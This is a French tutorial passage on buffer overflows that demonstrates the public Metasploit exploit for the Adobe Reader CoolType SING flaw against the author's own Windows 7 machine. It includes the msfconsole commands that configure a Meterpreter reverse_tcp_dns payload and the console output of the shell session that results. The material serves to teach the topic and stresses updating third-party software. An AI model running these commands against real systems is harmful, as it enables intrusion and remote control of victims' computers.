Les Buffers Overflows Techniques et évolution par Raphaël GERMON

Démonstration

Cet exploit utilise une vulnérabilité dans la table « Smart Independant Glyplets (SING) de la version 8.2.4 et 9.3.4 d'Adobe Reader.

Cette faille a été découverte en septembre 2010, c'est une faille 0-day, c'est à dire qu'il n'y avait pas de moyen de s'en protéger lors de sa sortie si ce n'est d'utiliser un logiciel alternatif pour lire ses pdfs.

Le buffer overflow se fait dans CoolType.dll à l'aide d'un appel de la fonction strcat() sur une variable de taille fixe. Dans un pdf c'est le champ uniqueName() qui est sensible à cette faille, il suffit donc de surcharger ce champ et le strcat() fera la copie et permettra de corrompre la pile.

Voici les différentes étapes pour utiliser cette faille sous metasploit

On charge l'exploit à utiliser :

msf exploit(adobe_cooltype_sing) > use exploit/windows/browser/adobe_cooltype_sing

msf exploit(adobe_cooltype_sing) > set PAYLOAD windows/meterpreter/reverse_tcp_dns

Notre exploit est maintenant configuré. Nous pouvons l?exécuter, mais cela de servira pas à grand chose si nous n'avons aucun code à injecter. C'est ici qu'intervient la payload, dans notre cas, Meterpreter. Voici comment configurer le payload Meterpreter :

msf exploit(adobe_cooltype_sing) > PAYLOAD => windows/meterpreter/reverse_tcp_dns

l faut renseigner la variable LHOST. Cet variable défini l'endroit où Meterpreter va écouter et être exécuté. Techniquement, le code qui va s'exécuter sur la machine distante va permettre de se connecter sur notre machine, en utilisant le port 4444 par défaut.


msf exploit(adobe_cooltype_sing) > set LHOST 172.17.17.170
LHOST => 172.17.17.170


Ensuite une fois que tout est prêt on lance la commande exploit pour le lancer.

msf exploit(adobe_cooltype_sing) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 172.17.17.170:4444
[*] Using URL: http://0.0.0.0:8080/Khplv2iXp
[*] Local IP: http://172.17.17.170:8080/Khplv2iXp
[*] Server started.


On peut voir que metasploit crée un serveur http pour héberger le fichier pdf contenant l'exploit. Si un client utilisant la version touchée d'acrobat reader et lance le PDF situé sur ce lien alors l'exploit sera exécuté.

Lorsque que je me connecte avec mon ordinateur Windows 7 avec la version fautive d'adobe reader voici ce que la console de metasploit affiche :

[*] 192.168.1.11:49290 Request from browser: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1
[*] 192.168.1.11:49290 Sending crafted PDF
[*] Sending stage (752128 bytes) to 192.168.1.11
[*] Meterpreter session 1 opened (192.168.1.17:4444 -> 192.168.1.11:49291) at 2012-02-05 13:04:07 +0100
[*] Session ID 1 (192.168.1.17:4444 -> 192.168.1.11:49291) processing InitialAutoRunScript 'migrate -f'

On peut voir que l'exploit envoi le fichier pdf contaminé au navigateur qui l'affiche à l'aide du plugin pdf d'Adobe Reader.

Une fois le pdf ouvert, le buffer overflow se réalise, et permet de prendre le contrôle de la pile, ensuite la protection DEP de Windows est désactivée à l'aide d'un exploit Return-to-libc et l'ASLR et désactivé avec un exploit ROP. Une fois toutes les sécurités désactivées le payload est exécuté et une session meterpreter est ouverte.

Cette session permet d'exécuter diverses commandes pour naviguer dans l'ordinateur distant.

On vérifie qu'on a bien accès au pc en affichant des informations sur l'ordinateur distant :

>>>sysinfo
Computer : RAPHAEL-XPS
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64
System Language : fr_FR
Meterpreter : x64/win64

On affiche le contenu du disque dur, à noter qu'il existe des commandes pour envoyer ou télécharger des fichiers.

>>>cd c:/
>>>ls

Listing: c:\
============


Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 0 dir 2012-01-19 18:41:52 +0100 $Recycle.Bin
40777/rwxrwxrwx 0 dir 2009-07-14 06:08:56 +0200 Documents and Settings
40777/rwxrwxrwx 0 dir 2011-08-18 17:33:35 +0200 Intel
40555/r-xr-xr-x 0 dir 2011-08-18 19:09:38 +0200 MSOCache
40555/r-xr-xr-x 0 dir 2012-01-20 23:14:22 +0100 Program Files
40555/r-xr-xr-x 0 dir 2012-01-22 18:58:31 +0100 Program Files (x86)
40777/rwxrwxrwx 0 dir 2012-01-27 21:43:08 +0100 ProgramData
40777/rwxrwxrwx 0 dir 2011-11-06 23:07:00 +0100 Python27
40777/rwxrwxrwx 0 dir 2011-08-18 17:21:55 +0200 Recovery
40777/rwxrwxrwx 0 dir 2012-01-24 22:40:58 +0100 System Volume Information
40777/rwxrwxrwx 0 dir 2011-11-20 01:46:16 +0100 Temp
40555/r-xr-xr-x 0 dir 2012-01-16 23:57:09 +0100 Users
40777/rwxrwxrwx 0 dir 2012-01-23 11:31:15 +0100 Windows
40777/rwxrwxrwx 0 dir 2011-11-29 17:45:55 +0100 dell
40777/rwxrwxrwx 0 dir 2012-01-18 09:25:45 +0100 glassfish3
100666/rw-rw-rw- 1110 fil 2007-11-07 07:00:40 +0100 globdata.ini
40777/rwxrwxrwx 0 dir 2012-01-26 20:17:35 +0100 hardwaremonitor
100666/rw-rw-rw- 843 fil 2007-11-07 07:00:40 +0100 install.ini
40777/rwxrwxrwx 0 dir 2012-01-13 13:17:16 +0100 jboss-6.1.0.Final
100666/rw-rw-rw- 331918 fil 2011-11-06 22:53:43 +0100 mona.py
40777/rwxrwxrwx 0 dir 2012-01-18 09:15:55 +0100 opt
100666/rw-rw-rw- 3219193856 fil 2012-02-05 12:51:57 +0100 pagefile.sys
100666/rw-rw-rw- 5686 fil 2007-11-07 07:00:40 +0100 vcredist.bmp
40777/rwxrwxrwx 0 dir 2012-01-17 09:20:06 +0100 wamp


On peut voir qu'on a bien le contrôle de l'ordinateur distant.
L'antivirus n'a pas detecté l'intrusion, l'exploit est possible même avec un Windows complétement à jours.
Il est donc très important d'effectuer également les mises à jours des logiciels tiers car ils peuvent être des portes d'entrées sur un ordinateur.